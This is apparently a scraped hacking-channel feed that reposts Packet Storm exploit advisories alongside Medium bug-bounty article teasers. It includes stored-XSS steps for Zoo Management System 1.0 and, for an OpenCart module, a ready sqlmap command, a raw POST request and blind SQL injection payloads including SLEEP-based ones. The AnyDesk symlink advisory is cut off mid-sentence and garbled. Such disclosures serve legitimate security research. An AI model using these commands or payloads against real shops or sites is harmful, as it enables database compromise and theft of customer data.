Step 11: Attacking Web Applications with Ffuf

As of starting this one, it’s Monday 27th June and my second to last day in work.Continue reading on Medium »
Read more...

Step 11: Attacking Web Applications with Ffuf
https://medium.com/@R4v3ncl4w/step-11-attacking-web-applications-with-ffuf-7136b9c015aa?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

As of starting this one, it’s Monday 27th June and my second to last day in work.Continue reading on Medium » (https://medium.com/@R4v3ncl4w/step-11-attacking-web-applications-with-ffuf-7136b9c015aa?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zoo Management System 1.0 Cross Site Scripting

https://1.bp.blogspot.com/-vtYXiq7PjFk/WWlvT3pSItI/AAAAAAAAIN4/S7SZq03xxCsAAYdYEaQwiY4Z64tRJ_WvQCLcBGAs/s1600/h43.png
Zoo Management System version suffers from a persistent cross site scripting vulnerability.

SHA-256 | 874927867e112ca658246011a5944207d41bca46257526c4396360f62c837087

Download
# Exploit Title: Zoo Management System 1.0 - Stored Cross-Site-Scripting (XSS)
# Date: 05/26/2022
# Exploit Author: Angelo Pio Amirante
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Server: XAMPP

# Description:
Zoo Management System 1.0 is vulnerable to a stored cross site scripting in “Add Classification” functionality of the admin panel.

# Exploit:
1)Goto: http://localhost/admin/public_html/admin_login and login with the provided credentials
2)Goto: http://localhost/admin/public_html/save_classification
3)The “Classification Display Name” and “Classification Table Name” are both vulnerable so you can put in one of them
4)Goto: http://localhost/admin/public_html/view_classifications
5) Stored XSS payload is fired

# Image Poc:
https://ibb.co/FXc5zLt
https://ibb.co/CtFSQrQ

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenCart 3.x So Filter Shop By SQL Injection

https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png
The So Filter Shop By module for OpenCart version 3.x suffers from a remote blind SQL injection vulnerability.

SHA-256 | 462124e2fc27238a23e89c00a09bc9b367444b9617845792df716e1e7565491f

Download
# Exploit Title: OpenCart v3.x So Filter Shop By - Blind SQL Injection
# Date: 28/06/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://codecanyon.net/item/so-filter-shop-by-responsive-opencart-module/13945633
# Version: V3.X
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
* Description :

So Filter Shop By Module is compatible with any Opencart allows SQL Injection via parameter 'att_value_id , manu_value_id , opt_value_id , subcate_value_id ' in /index.php?route=extension/module/so_filter_shop_by/filter_data.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
* Sqlmap command :

sqlmap -u 'http://127.0.0.1/index.php?route=extension/module/so_filter_shop_by/filter_data' --data "att_value_id=saud&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud" -p "att_value_id" --method POST --level=5 --risk=3 --dbs --random-agent

Request :

===========

POST /index.php?route=extension/module/so_filter_shop_by/filter_data HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 29
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: Keep-alive

att_value_id=1&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud
===========

Output :

Parameter: att_value_id (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: att_value_id=-7402) OR 6808=6808 AND (4992=4992&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: att_value_id=1) AND (SELECT 6365 FROM (SELECT(SLEEP(5)))qqBP) AND (7704=7704&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AnyDesk 7.0.9 Arbitrary File Write / Denial Of Service

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png AnyDesk version 7.0.9 suffers from an arbitrary file write vulnerability via a symlink attack.

SHA-256 | a24a864d0cf210e9aa4cf317353b4651dcf88793c38af3fcf86fc7d93525574aDownload # Exploit Title: AnyDesk allow arbitrary file write by symbolic link attack lead to denial-of-service attack on local machine
# Google Dork: [if applicable]
# Date: 24/5/2022
# Exploit Author: Erwin Chan
# Vendor Homepage: https://anydesk.com/en
# Software Link: https://anydesk.com/en
# Version: 7.0.9
# Tested on: Windows 11
It was found that AnyDesk (version 7.0.9) was vulnerable to arbitrary file
write by symbolic link attack leading to denial-of-service attack on local
machine. It was noted that two functions were affected.

*Affected function A*
When there was a remote connection come in, a directory under AppData of
current user (without admin privilege) and a "ad.trace" file (i.e.,
"C:\Users\Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacker Search Engines

A list of search engines useful during Penetration testing, vulnerability assessments, red team operations, bug bounty and moreContinue reading on Medium »
Read more...

XSS cheatsheet payloads

XSS PAYLOADSContinue reading on Medium »
Read more...

OpenSSH CVE-2018–15473 User Enumeration Vulnerability

Description:Continue reading on Medium »
Read more...

Hacker Search Engines
https://medium.com/@reconshell.com/hacker-search-engines-f20bbe276c79?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A list of search engines useful during Penetration testing, vulnerability assessments, red team operations, bug bounty and moreContinue reading on Medium » (https://medium.com/@reconshell.com/hacker-search-engines-f20bbe276c79?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

XSS cheatsheet payloads
https://medium.com/@Anonysm/xss-cheat-payloads-d43e0461c27b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

XSS PAYLOADSContinue reading on Medium » (https://medium.com/@Anonysm/xss-cheat-payloads-d43e0461c27b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

OpenSSH CVE-2018–15473 User Enumeration Vulnerability
https://medium.com/@Dhamuharker/openssh-cve-2018-15473-user-enumeration-vulnerability-1ad8c7b6c66f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video